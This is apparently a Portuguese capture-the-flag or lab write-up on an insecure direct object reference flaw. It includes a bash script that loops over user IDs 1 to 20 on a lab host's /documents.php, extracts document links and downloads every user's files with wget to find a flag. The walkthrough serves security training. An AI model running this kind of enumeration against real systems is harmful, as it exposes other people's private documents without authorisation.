Question-1
Repita o que você aprendeu nesta seção para obter uma lista de documentos dos primeiros 20 UIDs de usuário em /documents.php, um dos quais deve ter um arquivo '.txt' com o sinalizador.
Página web

Se olharmos os arquivos vinculados, ou se clicarmos neles para visualizá-los, perceberemos que esses são de fato arquivos diferentes, que parecem ser os documentos pertencentes ao funcionário com
uid=2
:
/documents/Invoice_2_08_2020.pdf
/documents/Report_2_12_2020.pdf
Agora, podemos usar um loop
for
simples para percorrer ouid
parâmetro e retornar o documento de todos os funcionários e, em seguida, usar owget
link para baixar cada documento:
#!/bin/bash
url="http://94.237.59.63:30650"
for i in {1..20}; do
for link in $(curl -s -X POST -d "uid=$i" "$url/documents.php" | grep -oP "\/documents.*?\\.\\w+"); do
wget -q $url/$link
done
done
Last updated